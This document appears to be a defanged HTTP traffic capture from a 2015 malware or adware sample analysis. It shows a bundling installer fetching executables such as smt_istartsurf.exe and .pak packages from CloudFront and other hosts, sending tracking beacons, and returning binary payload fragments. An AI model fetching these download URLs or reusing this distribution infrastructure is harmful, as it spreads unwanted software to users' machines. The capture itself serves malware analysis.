Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=563025, public, no-transform, must-revalidate

Last-Modified: Fri, 15 May 2015 11:30:08 GMT

Expires: Fri, 22 May 2015 11:30:08 GMT

Date: Fri, 15 May 2015 23:06:23 GMT

Connection: keep-alive
0..........0..... .....0......0...0......'.V.8.F.V....H....JW..2015051
5113008Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.A..2.....:...:......20150515113008Z....20150522113008Z0...*.H........
.....A...a3....*72..C.s.......F.L...J..D...%!O.~i..6...Y).4;[email protected]<&
gt;........U.......1.'......p.v..u.i.n.#k..'...lJ .....l..R.".C..IM..d
zf"x[@"...O....y\-..).......K.D....T.PS.......J.}>....#..t... W..&g
t;.X..lY./....l.0.......!m>!.[\...[k..f.......l;s........HV5......#
0...0...0..........r..?.*......y"..0...*.H........0..1.0...U....US1.0.
..U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms
 of use at hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class
 3 Code Signing 2009-2 CA0...150226000000Z..150527235959Z0..1.0...U...
.US1.0...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U..
.2Terms of use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3Veri
Sign Class 3 Code Signing 2009-2 OCSP Responder0.."0...*.H............
.0.............m5*R........2....>...yU4..L.. ...........u..Hez..Pn.
....d...nz(...V7.}^...d!RX...bl..[..a...L.. .~..Ij......%..%p.-...u..:
..i..F*]...*....{NH..|0...gHX.Q.r....S..........._.9.(w...suC...N..s..
...&."...:.C.Q.i~rl..<..krS..8.B..o][email protected]........
.0...0...U....0.0....U. ...0..0....`.H...E....0..0(.. .........https:/
/VVV.verisign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's
 CPS incorp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... .....
..0...U........0... .....0......0"..U....0...0.1.0...U....TGV-B-32<<< skipped >>>

GET /infv5/index/3428/3rd HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: dqoup4b5zs0bi.cloudfront.net

Accept: */*

Accept-Encoding: gzip, deflate

Connection:keep-alive


HTTP/1.1 302 Moved Temporarily

Content-Type: text/html

Content-Length: 0

Connection: keep-alive

Date: Fri, 15 May 2015 23:02:10 GMT

Location: hXXp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa2af09de41e/2.pak

Server: nginx

X-Cache: Miss from cloudfront

Via: 1.1 1c8dc0823bd8d9d4cca00cdf26a27fa1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: BZl6Ol9gOHv7-kg7clbqdVsiljKnGc7bmNoWNUtRHXX-pxlHeulKmg==

HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Lengt
h: 0..Connection: keep-alive..Date: Fri, 15 May 2015 23:02:10 GMT..Loc
ation: hXXp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa
2af09de41e/2.pak..Server: nginx..X-Cache: Miss from cloudfront..Via: 1
.1 1c8dc0823bd8d9d4cca00cdf26a27fa1.cloudfront.net (CloudFront)..X-Amz
-Cf-Id: BZl6Ol9gOHv7-kg7clbqdVsiljKnGc7bmNoWNUtRHXX-pxlHeulKmg==..

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=160792-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1125537

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 03 May 2015 00:53:48 GMT

Content-Range: bytes 160792-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 981c342b06dd163b72f93e9cdd045e1f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: YgiLfnwkQ23H0MSCqAcZiNoRtzzCwGTLxjHWMRssqippb-n10LC1Gg==
......'oS.l.g......*. .=.....8..;....#.?U... .i....=..{}...z..N..8s2.u
[email protected]}..j..bP.&.k.Z%...0..T...SG.9....w.........U..d[3XR. 
.1.......... I...T.H'..F,4........j..y.7F..~eF^Lt...........a...q.,.|.
..M3.]....).......FT.^..k.Ad...0MVn;.R....7W;~..,....8..e..umjZ..o.jfK
[email protected].~.%.6.I....F..<.(.O..^<..r.vOh..J...:.....,.sY...
C!2.;O........N:..2. ..F.Q...?g_..n..S..9r l.{...P..fLJ.)......ED..Y..
.e..w.......J....}....... B..y.....}..5.ib.-....6.......&....i....u...
d.aV.Z....a....Q..h.z  N{....Y!N...n.....W...5.f.Z.j. ..O..h.M=k....,.
.O....S .k..j1V...K.E..OYB.].40...A.._u...<...y....}j..].B....7e.D.
..:2........`?I....>.4y.N.#&[:.I..(D.W...r..abD.a..N.....t...0P4q.&
gt;....hV.....;..Ud.OZ..I.....(...p.E.."..{...'..^.X2..U..w.._...(.(..
............z.&.g...E...9.&z.F(...J...EH.......%!...o-aG...:.3.7.....V
.....|.q....<...........&w.......}..G&.w........x...%4?...4.......s
a...vo.G$.Hm...]C..T.F..Kc"j...../.(;...p".v..........[.D..0:#.|..q.c.
a?..r....$;^|.!....\..).K..>......Sm..]s...C....t...._.F....#!..T.z
W<..).*...L.l..Sk...$.2d.C...$....CX7...`.i..X.......(.....T....:SG
.1:.c......z..$%...e.=M#7.^.....:.%...k/.......(.........3.._1.k...]..
.............dh. ....9......!.>..L N....R.h?c......B..Q0s...o......
[email protected]..{.t?....WT.&.../.W...}.../B...T.LAr,.......!E..(....E
.. .T*S#..V6.K......O.F.....j....2z..P|C..e.......x.. k...W.....h.".9.
@Vl......K.=.RP......w..A ...@~x....J.....`..V..T".X...<[email protected].,
...1....0..B....X.v`.F.a.;#^u...n*as. ..U[...|.j.;.{y ....;.v1;W..<<< skipped >>>

GET /3428_3b67a5ef5d450c1556c543c6323981d9/1.pak HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: dlrkbt247pbk6.cloudfront.net

Accept: */*

Accept-Encoding: gzip, deflate

Connection:keep-alive



.D....b..=h...mGz.ep........-(.kX.........gy......7....<6$..i.....J
s.! t..$.AG...................T......Y:.ZG.q.6..:.X..".....I..7#4.Q...
=......:U........D.M.......^J..1...'b.=x..3%..j...$O.!W......2........
~~..V..H...<[email protected]...:................'n.f.&[;...2o;:?
.d}.......-........1..A.....!r.....J..t..u...[J.......p......|......46
...?.I0.#i..6.<.@}.*....u..5r.I.....!'..4.Wwc:..[.i..D...M. .ib.E.]
.&.F.*.....l........X.3......i.....m..tH.&...s_3...nx....7..p`..^.....
o>..J...f..1i.t..\m...,...`...&nA..2...{... .t.....4*DC..1]..@3.?..
_..3.ev...g.....;....,[email protected]?.G.....H..%..qiX....K...*....Rt@....
......FN.R..E.M....B.X..T...3^.._*P8f*1..7..O...P....`........n!.ud...
~S.....S..?Py......D.R.F...Q("..w...m./[email protected])p.W<.5t.1..x.A
.._..Y.l/...0.o.....r..Pl..K.x\..$..`.....L4/....[.p.d.og3......:G....
L....a.....I......:..p.."4.5...~,.....G.*..>[email protected]`..~
..&..RbJ8q.7.Q..G..[4...9.H.F........F. .Q... .mk../e.t.M(.m.....x..}}
.U...U..sl..bhP.-.P..|..X.....h.m...=..G...?. k.... :]V.T u..h......w.
.R..J!.........y.y.R.N .d."...C.... H.....i&...../...|...nx..R...=.t..
.$t..9..Z73Y.E5........q..X..a........"=.q8..xXvf.......mS..y..^l..zY@
..]...f,..PF.^...(.B/.1.=...L...y[..mxY*..<..2..%.v.....S.oj...1.A.
....O..T...=...#.vVLo..&...R..'...?LI|.5..v(v....k.q...]....W..H.`F...
.fw.97v......v*VQO2hB...4...id..g...-,.B33l....b..s. ..}O.I.8.s.W*.../
..^t4.T..sK.oI..~..C..S..Z..wD7m.b.'/EI...V ..../I..4..${[email protected].
........-Igr..o.Xp_.Z)[email protected]...%.1..(.3......*,.L:%s..<<< skipped >>>

GET /ga.js HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 22:46:26 GMT

Expires: Sat, 16 May 2015 00:46:26 GMT

Last-Modified: Mon, 27 Apr 2015 18:49:35 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 16075

Cache-Control: public, max-age=7200

Age: 905

Alternate-Protocol: 80:quic,p=1
...........}.W........_/.>.!aj..f....--....Y.!MHB.0....o..-'.......
{K..y.....d.Wig.....r.H.P.. ............"..a?..;..P2...C.R.&..e....o.e
x"...e.....[..C.K...G:....de...d.F.,..|.=..Fn..9..//5$X...Co..=..'z2..
.`0..%[email protected]...#.^a.......Kh.'.C.....I.]......tp..:.sO...x..
.8...t0<....\b;=. .z.e>.1..#.v.j......<q...#[email protected]...}H1.C..
.R.5...z..XWb.2.t.......B.....[(i.....P...x.....9.nM...."...^.....c.. 
R......t...Z..q.hl......;.c.....9.@g_.(..n.hO....|......t`.|.)H..Z....
.l..f .j......J...%._.KN......Tf..g.^.b....r.I..z...UK.\^^.m....}..DA/
.......g.A........0.........".c0.....$~I....D#......{...}.=..j...m....
@.....k.?$....J..Q......}.g......~...6.l<]..x...d?.\...w.3].._.X@..
|....}.C..$0.|.53...Q.8.....i.0=Vr.h.........<.a>.....4.:...ttg.
.....f....'.T.`=..........a...oB...Q.q......3N5 ..<....R....4......
....K..I.i#..C..$#i....`Ja..:..z.*...O...?..41.!.w}......T............
.........y..pE^r..n....A..............q..`.i>;........ .).......m..
P61I.jK.nG..Vj......9.....2....Tv. ^. ........OZ....U.9399].).,.p..\..
\YW..j3..H%...........e.c.....[[email protected].=...R...
.]....xz.`.<..7........r1..87.....7.iL}u..Yu;T. X..d.GT L Uy.....q}
......./...=. ..<#u%..4h...mZJ......p.m...,,<..4.,o$..E.a&.-qy9Z
^6i-,@...".6.7.......-f;.`..f.2...?./.S<[email protected].%.|.
.:.J5.Vy...........%5....... ..g.*..v..".......K..e0....H.....n..6a...
q..I..8..:.q1`......Z*'[email protected]... X.1.....
.B.km._.Uzr..2.D..2..n..}8.wu.O....38..}5.c.`.. ....`...MC.....#A[<<< skipped >>>

GET /r/__utm.gif?utmwv=5.6.4&utms=1&utmn=1981246019&utmhn=bi.bisrv.com&utmhid=1218214819&utmr=-&utmp=Installer_Init&utmht=1431730894392&utmac=UA-31676879-1&utmcc=__utma=1.1626043335.1431730894.1431730894.1431730894.1;+__utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=998541745&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Fri, 15 May 2015 23:01:31 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=1

GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Fri, 15 May 2015 23:01:31 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=1..GIF89a..........
...,...........D..;..

GET /10957.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybt8v1P82G Yuz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YPT/CRzrsOCIBN0OSM ZbEuhOeBVpsxK34gGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv/PP1z34ZOLgVVh b/pIQAfYmlyZEPVghB7c540dk3nMqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AIEnK4HW7/UMisK6sKov3CTuvapI 82Qmq9kuYPAug2j7d3VEAr8w9yty5SoJILjg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:35 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybt8v1P82G Yv gjKfKdz3qVWyif 2VH4gFagtWkIz2IQ1UJPIGN74Y3E56ZloiYwMqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AIEnK4HW7/UMisK6sKov3CTuvapI 82Qmq9kuYPAug2j7d3VEAr8w9yty5SoJILjg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:36 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=503496-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:02:22 GMT

Content-Type: application/octet-stream

Content-Length: 167832

Last-Modified: Tue, 05 May 2015 03:45:32 GMT

Connection: keep-alive

Expires: Mon, 18 May 2015 23:02:22 GMT

Cache-Control: max-age=259200

Content-Range: bytes 503496-671327/671328

PARAMETER...TEARDOWN....PAUSE...PLAY....SETUP...ANNOUNCE....Refusing t
o issue an RTSP request [%s] without a session ID.....DESCRIBE....OPTI
ONS.Got invalid RTSP request: RTSPREQ_NONE..Failed writing RTP data.Ca
nnot pause RTP....Cannot write a 0 size RTP packet....Got RTSP Session
 ID Line [%s], but wanted ID [%s]...Got a blank Session ID..Unable to 
read the CSeq header: [%s]....: %ld...Got an error writing an RTP pack
[email protected].._E..0E. `E. `E.........@0E.......
......D...t.G.N............HE..$E.."E.p.G...F...F...F.................
....................................EHLO %s.HELO %s.STARTTLS....AUTH %
s.AUTH %s %s..No known authentication mechanisms supported!...HELP....
%s %s...VRFY....MAIL FROM:%s SIZE=%s....MAIL FROM:%s AUTH=%s SIZE=%s..
..MAIL FROM:%s AUTH=%s....MAIL FROM:%s....%I64d...<%s>....<&g
t;..RCPT TO:<%s>....RCPT TO:%s..QUIT....Got unexpected smtp-serv
er response: %d.STARTTLS denied. %c.STARTTLS not supported..Remote acc
ess denied: %d....Authentication cancelled....Command failed: %d..MAIL
 failed: %d.DATA....RCPT failed: %d.DATA failed: %d.........SMTPS not 
supported!....AUTH=...localhost...........Failed to alloc scratch buff
er!.SMB.....`.G.0FE..... [email protected].......
..............NT LM 0.12..curl....i386-pc-win32...?????...\\..pop.POP3
..........G..PE..VE..NE.....0VE.._E. PE. `E. `E..........OE.....n....@
..D.....G. ... ........HE..$E. \E...G...F...F...F.....................
....................n...........CAPA....STLS....USER %s.APOP %s %s

<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEEIa8pQJhBkfUgpLxiQmp0s= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.usertrust.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:06:06 GMT

Server: Apache/2.2.22 (Debian)

Last-Modified: Fri, 15 May 2015 19:36:24 GMT

Expires: Tue, 19 May 2015 19:36:24 GMT

ETag: CA28EB473644C6765433774F14B9C1BECC6B3764

Cache-Control: max-age=332417,public,no-transform,must-revalidate

X-OCSP-Reponder-ID: h6edcaocsp5

Content-Length: 471

Connection: close

Content-Type: application/ocsp-response

0..........0..... .....0......0...0.........z4.&...&T....$.T...2015051
5193624Z0s0q0I0... ........|.fT...D.b&...e{.z.......z4.&...&T....$.T..
.B.......R.K.$&.K....20150515193624Z....20150519193624Z0...*.H........
.....G.mo..C=A.......S.I...x...h.Y..B.uLI....Enm..]v.Q..O.e.to..]....$
..Sr...S.t....mc^...!.u....=..$........s...&..^.v...k..%.x....`....V..
..h..'/.........e..76..W.........._.B.rt...0..$.......OE._.0y_.N....lb
i.P.N.]g&.d......K)..|.u.r..{.......7.....A@J..^.?...

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=5657591-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:01:32 GMT

Content-Type: application/octet-stream

Content-Length: 16972770

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 5657591-22630360/22630361
][email protected]...$...........Z.j.v..U.l.....KR......l....EYM...[....#.Ca..~'
...O^.M..Z.h8*......vV|.X.......{m.....!Q... ...Yth.<....:......r.O
[email protected]......,.Jq.-`...O...F.=......~...g...;.....|m.*A`.
PN.2....l...c.J.8v.*.[.....3.Z....f...x`J(.....;..~{...:...$Qb.J..P...
..I....6d......&. .<...4......c..l.. ...3.z.9M..H.Ow...l#..l.....1.
.C.OM..h......s{T1EqZ$..7;...V....'<\.(qn[tq.........MrT".{...Qq..Y
...k6...7....Yqnae.G.spY.dh....y.gq\....K....L.......*..i.&...:5B)...}
J....y..?.|.....s;.R..N..?.1.t1*...H../.../..[..{a.VM...o.........'..|
.LQ...cq.......Q.}?.w...iQ..R.{i.[..D.9.N..x....(v...j,c..:.\...$V....
.-..V....P'C6... .b..9.Q/.....w..4.{..}.0.`. .L..j>5(...].P9..N.<
;.Z..J..Y).T.k|..............~.S.,._v.....]...h.~_W.B..z.U..C..e..}Wt.
......Kz.....w.ZF.......X2V..s..........D.Dd.4..0Au......W.$..z.n....l
w.$R....1.....B?..z...TB.....|8......S..U.a.bG..o.&q.=.9...Gk....!#s !
.1%..g...,....v..Cn.8.!..B.......m.......Z...8bK.b..O.........N..?....
.Q....tb..._.........K.B..v1.^..Y:...i.z.p...G..l.&.....\y.b2q...$.w..
a{.0..U:?7k.0...&sb........t9..i.......}T.... '.1..>p......JM...U\.
!....&V..i..}....2.....1of....._.{.Fr]3.. K.'........-. .A....Z.......
h....='....l..[.h.%W..).......&....eO. \,{..e;z....)[email protected]
.(k..y......pi*.-.n..Tw..Bi.............I.L..@.....@].v.[.U.".Y}n.../.
.>.EE%...V...:..g..."b.W...J..........BN.....:......)$.."...>.f4
.u.$.zt-......9..Jx1(w......l......`...y.......i..N..O.E4_..Z..:.....7
].Q..m.../...Lk.=9nlh.g.-....'.]09....285.Q.r.*;....e..\:L..m.|...<<< skipped >>>

GET /news/1.69.0321/img/brand/news.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: static.bbci.co.uk

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache/2.2.25 (Unix)

Last-Modified: Sat, 09 May 2015 16:15:22 GMT

ETag: "c32-515a8739e5a80"

Accept-Ranges: bytes

Content-Length: 3122

Cache-Control: max-age=31536000

Expires: Wed, 11 May 2016 10:00:50 GMT

Access-Control-Allow-Origin: *

Content-Type: image/png

Date: Fri, 15 May 2015 23:04:57 GMT

Connection: keep-alive
.PNG........IHDR.......<.....kT.R....PLTE..........................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
....................................................&i.6....tRNS......
.......................... "#$%&'()* ,-./013456789:<=>?@ACDEFGHI
JKLMNOPQRTUVWYZ[]^_`abcdefghjklmnopqrstuvxyz{|}~......................
......................................................................
............................ ...2IDATh....CUE......"F.n......{!...i.R.
%.n...Q.e......k....R....$J`J.<.....v.lO......{g>o..9....U.7.*!.
{...|.. ...PK.Tm.XC..D...I............\....&=...;...AUA.=.!Q..t.8H....
.e.-(.'..7>m."...B..-C..%W6z.;.c.R.o.m........2.. .)..S.R...7J....V
...BS.....F.....:.,....ZY.Jg.....V....{idX.1 .`.e). i.Q.y4/X.......wA.
.}[email protected]...{.62.z*....e.v...q.~..F...M..'.fn_.y..b!2<
.yB....\Y.D/...3.........$.........u .wR...nu=..y.._....!t9.vk.p6\.<
;R.i"z(...N....G.@..."[email protected].(U..\.2,...m....s..;[email protected]. pXn..[..<<< skipped >>>

GET /news/1.69.0321/img/correspondents/circles/markeaston.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: static.bbci.co.uk

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache/2.2.25 (Unix)

Last-Modified: Sat, 09 May 2015 16:15:22 GMT

ETag: "381c-515a8739e5a80"

Accept-Ranges: bytes

Content-Length: 14364

Cache-Control: max-age=31536000

Expires: Wed, 11 May 2016 10:01:13 GMT

Access-Control-Allow-Origin: *

Content-Type: image/png

Date: Fri, 15 May 2015 23:04:57 GMT

Connection: keep-alive
.PNG........IHDR...p...p........K..7.IDATx...y.m.]..Y...p.w.,..l..L.A6
..1..8...C..!.`\.C..t..N:!.]..tg.....tB..0..0`.cd...Yz.x.3......s.....
...HoU....;....w.~.7~.pc.X7..uc.X7....../..8y...x4zY]....j.X{.H.t.....
.......>>....kk;...........=.R_.....K *..FkV.=...4...gmu..d....'
.....l...._z..3....?.....}.x.)..H..V..DJA].....y.mKL.^aY__...G..\.Q...
.1..>.....K...........)p.....*[email protected]`.A)."a......@*.k..{
%G.W..{........?r.R......O....z!_\]W_l...b.>-.-B$bJH.H"?{RklaI.F.)1
...B.Di$J@...@(.w..u...F3k\.<...h.QV..m.]........_.).X.............
R..ZS.%].h......{.f-.9LiIB...(E..m-$A....7.....bg<.'E..u..%.y..~...
.l%.*.........J!.B[Ci..{R.x..ZQ.%uYb.Ak..,......).(..Gb...PRpxe..F>
....>}..i.Z... .......3V...H.......)...C.P.%FkRJ...).Z .s..s...."..
.h).J0.K$...d...M.p....1g..l..(.A(MB......7T..V......O.R.D".....2Pm..;
.3..i;OH..<m..I,/-Q..1....gs..S...Cb.4.....K..m..;...=....>&..()
p......6M._n...j..B.`..D.$).BH....i....FkbLD.J....!.....4m.h4aw<...
..Y.h4b:...;f{w.d.0.LY....5m.1n.s.....$.y.............>....o...!D..
...2..J#...<1%.V..].)....!.."...]vv........4.9].L..Z*..\...9.l. ...
...........J./......n......J.?N..V.....k5V....... .......F...@...<.
[email protected])#.9B.2.. ..PX......J ..H@(.6....u..a...M.&)..A......
..R....1......BR...h...9B....;....KU.4...._...`h.]..b...e:.H1".L..u.")
[email protected]...(q...$%...C .."1kZ....DJ
.JB...F)|LL..."..b............X]fm}..<.;[.z5.7w..........F.=k......
...\.....?.w..%...[.6.../.b.!.1%bL...Z..1..>...h.!F..%$..H!.1A.<<< skipped >>>

GET /news/1.69.0321/img/correspondents/circles/rorycellanjones.png HTTP/1.1

User-Agent: Java/1.6.0_18

Host: static.bbci.co.uk

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache/2.2.25 (Unix)

Last-Modified: Sat, 09 May 2015 16:15:22 GMT

ETag: "402e-515a8739e5a80"

Accept-Ranges: bytes

Content-Length: 16430

Cache-Control: max-age=31536000

Expires: Wed, 11 May 2016 10:02:23 GMT

Access-Control-Allow-Origin: *

Content-Type: image/png

Date: Fri, 15 May 2015 23:04:57 GMT

Connection: keep-alive
.PNG........IHDR...p...p........K..?.IDATx...y...Y..y.......o..K.HBHB.
 !.]..p.X....v...T......e...*...............&.....hF...}.ng.m..?~wF.lv
l..L.U.o.sNw......}...}......;......;..p........bz...%J.W...:.....9...
...qZ....X.....~..pq.....5*.s...................L.9m..c .,M....Y7-.U..
)..u..O_...;.~.W.gS...Y.]....Y...........g.g.oP7.m.qjs.a....".,.......
U.~..b.._.}[email protected]]f.......;.e........y...-.s.A....&D.M.dT.........
...a....Xs.....6f..._.c....(..)...J.......a....F.C!l.K.....i.d.>).D
F...(r...-M......}.....{...n..W.|............~....:m..A..(g\.l.J$.xP..
.'..lN....AN..Xg...,.K....{O.=...R$s..i..#....?...WUP.O..,.w...P......
{..e6(...N...NS...2......,."......h.p.........b..I..(2....&V..\y..~.}.
.c7.1...k;.?.b...h....`B.{.g...8.1.......Q.......8c..s..).`.t.F.lV....
[email protected]'I....}.. ............'..s...^.._...'.C...rv{..
..a.1.r...d9..3J.(.#.E.Q..t.A.......2s...,.0..RXc.....`0..6.c.....[;..
.W_....n........R..V....9=.qv6.........U.g.....V%..!....Z2.).!E^..%...
,#..k..."..F.9..."V ....c...6u..#..R..[T..w....6O...;.......q.... G%.*
.e..j...Lk\.3.L)..Li.,...c.....Z....{...4.R...J!.C. J0...!.A.4K...,...
..{.U3.s......{.VlO....8.5f2....$..2p.y1.e.6.([email protected]..(
..c..C..S.X.2...I..r...`s.m..>..]........'...oSZ.....S.!..C........
..u8....(..y....,V..Z..Q).\.q.*E.R(.P. &...$a.E..e,......B.......Ol...
O.w.<1(...X......E.q..-?^f..q..A.f..R".H>...6.#..XoT.dY....Z....
)ab...<J.Q.I..^AU..AI@;.)....;....!bc...gx...L.....{Om......~.Q.JJl
..l....1.bHt.?.\Jd$..!Za...#G.7.....X#Z!Z.R...).P ......R.$..c.{.j<<< skipped >>>

GET /3428_92a5d683c188790231b1aa2af09de41e/2.pak HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: dlrkbt247pbk6.cloudfront.net

Accept: */*

Accept-Encoding: gzip, deflate

Connection:keep-alive


HTTP/1.1 200 OK

Content-Type: binary/octet-stream

Content-Length: 3001161

Connection: keep-alive

Date: Fri, 15 May 2015 22:29:50 GMT

Last-Modified: Fri, 15 May 2015 22:11:57 GMT

ETag: "39e32d7b9d0c8309c103aabaf79293e6"

Accept-Ranges: bytes

Server: AmazonS3

Age: 1991

X-Cache: Hit from cloudfront

Via: 1.1 dc7fc6a25b38b792278999ed3a495fcb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: XJ5KxkxZM4qtSl2lpkVvPmNgYAVKHBlK6wHJv5w389wsfVlCma33SA==
..........g.....-.....0.......474.db.......}...s6.f:*..e....{....\O...
ph).l]...1T........ .....7....7Bk....S...~.S.hK.Px9?lg...`...U...3....
..H.W;.$?E2...8...o.Ju.c$b.u...<I>........Yq..../..[...3..=.GSj.
..o...jp..=..".../...z..s..F.....t..n<.....R.C.d.?.k....r.b%%v..c.'
..1. &.........7e&...*......A.....$.......PK.........).F.U............
..ClearnC.exe...`...8.?.#..6......HP4.....4.l.J`C`[email protected] ..j..U
.j..W.\lK[o..U.Vt..$(..\.B...N.Tc.. .y.9..f....}.......=...9sf...33...
-..A0.QUA8$......u..u..F......C......bC...z....6.....i.h{..V-m.m.d.Z.o
.........T-....:.\....i....7.|....>........uP...........M..[;.'....
............!u.M..........~...n.....F.k.v. ..:..C....".....a#0......P.
